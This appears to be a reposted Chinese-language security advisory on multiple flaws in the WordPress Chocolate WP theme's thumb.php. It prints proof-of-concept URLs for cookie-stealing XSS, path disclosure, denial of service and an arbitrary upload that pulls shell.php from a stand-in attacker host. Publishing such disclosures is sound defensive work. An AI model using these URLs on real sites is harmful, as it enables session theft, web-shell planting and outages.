WordPress Chocolate WP Theme多个安全漏洞

发布日期：2013-01-23
更新日期：2013-01-26受影响系统：
WordPress Chocolate WP Theme
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 57541

WordPress Chocolate WP是WP的商业主题。

Chocolate WP Theme for WordPress在实现上存在跨站脚本、路径泄露、滥用功能、拒绝服务和任意文件上传漏洞，攻击者可利用这些漏洞进行拒绝服务攻击、上传任意文件到受影响计算机、执行任意脚本代码等。细节请见：

XSS （WASC-08）（in older versions of TimThumb）:

http://site/wp-content/themes/dt-chocolate/thumb.php？src=%3Cbody%20onload=alert（document.cookie）%3E.jpg

Full path disclosure （WASC-13）:

http://site/wp-content/themes/dt-chocolate/thumb.php？src=%3C111

http://site/wp-content/themes/dt-chocolate/thumb.php？src=http://site/page.png&h=1&w=1111111

http://site/wp-content/themes/dt-chocolate/thumb.php？src=http://site/page.png&h=1111111&w=1

Abuse of Functionality （WASC-42）:

http://site/wp-content/themes/dt-chocolate/thumb.php？src=http://site&h=1&w=1
http://site/wp-content/themes/dt-chocolate/thumb.php？src=http://site.badsite.com&h=1&w=1
（bypass of restriction on domain, if such restriction is turned on）

DoS （WASC-10）:

http://site/wp-content/themes/dt-chocolate/thumb.php？src=http://site/big_file&h=1&w=1
http://site/wp-content/themes/dt-chocolate/thumb.php？src=http://site.badsite.com/big_file&h=1&w=1
（bypass of restriction on domain, if such restriction is turned on）

About such Abuse of Functionality and Denial of Service vulnerabilities you
can read in my article Using of the sites for attacks on other sites
（http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html）.

Arbitrary File Upload （WASC-31）:

http://site/wp-content/themes/dt-chocolate/thumb.php？src=http://site.badsite.com/shell.php

Full path disclosure （WASC-13）:

http://site/wp-content/themes/dt-chocolate/

<*来源：Eugene Dokukin

链接：http://seclists.org/fulldisclosure/2013/Jan/215
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
To exploit these issues, an attacker must entice an unsuspecting user to follow a malicious URI.

The following example URIs are available:

http://www.example.com/wp-content/themes/dt-chocolate/thumb.php？src=%3Cbody%20onload=alert（document.cookie）%3E.jpg
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php？src=http://site/big_file&amp;h=1&amp;w=1
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php？src=http://site.badsite.com/big_file&amp;h=1&amp;w=1
http://www.example.com/wp-content/themes/dt-chocolate/thumb.php？src=http://site.badsite.com/shell.php建议：
--------------------------------------------------------------------------------
厂商补丁：

WordPress
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://wordpress.org/Cisco WebEx Social RSS服务连接跨站脚本执行漏洞IBM Tivoli Federated Identity Manager信息泄露漏洞相关资讯 WordPress安全漏洞

Wordpress Lazy SEO插件Shell上传（09/23/2013 18:12:26）
WordPress crypt_private（）远程拒（06/30/2013 06:24:06）
WordPress ProPlayer 插件"id"参数（05/23/2013 20:13:32）

WordPress HMS Testimonials 2.0. （08/10/2013 14:28:41）
WordPress Image Slider with （05/29/2013 19:27:42）
WordPress WP Cleanfix 插件" （05/21/2013 19:36:23）

本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论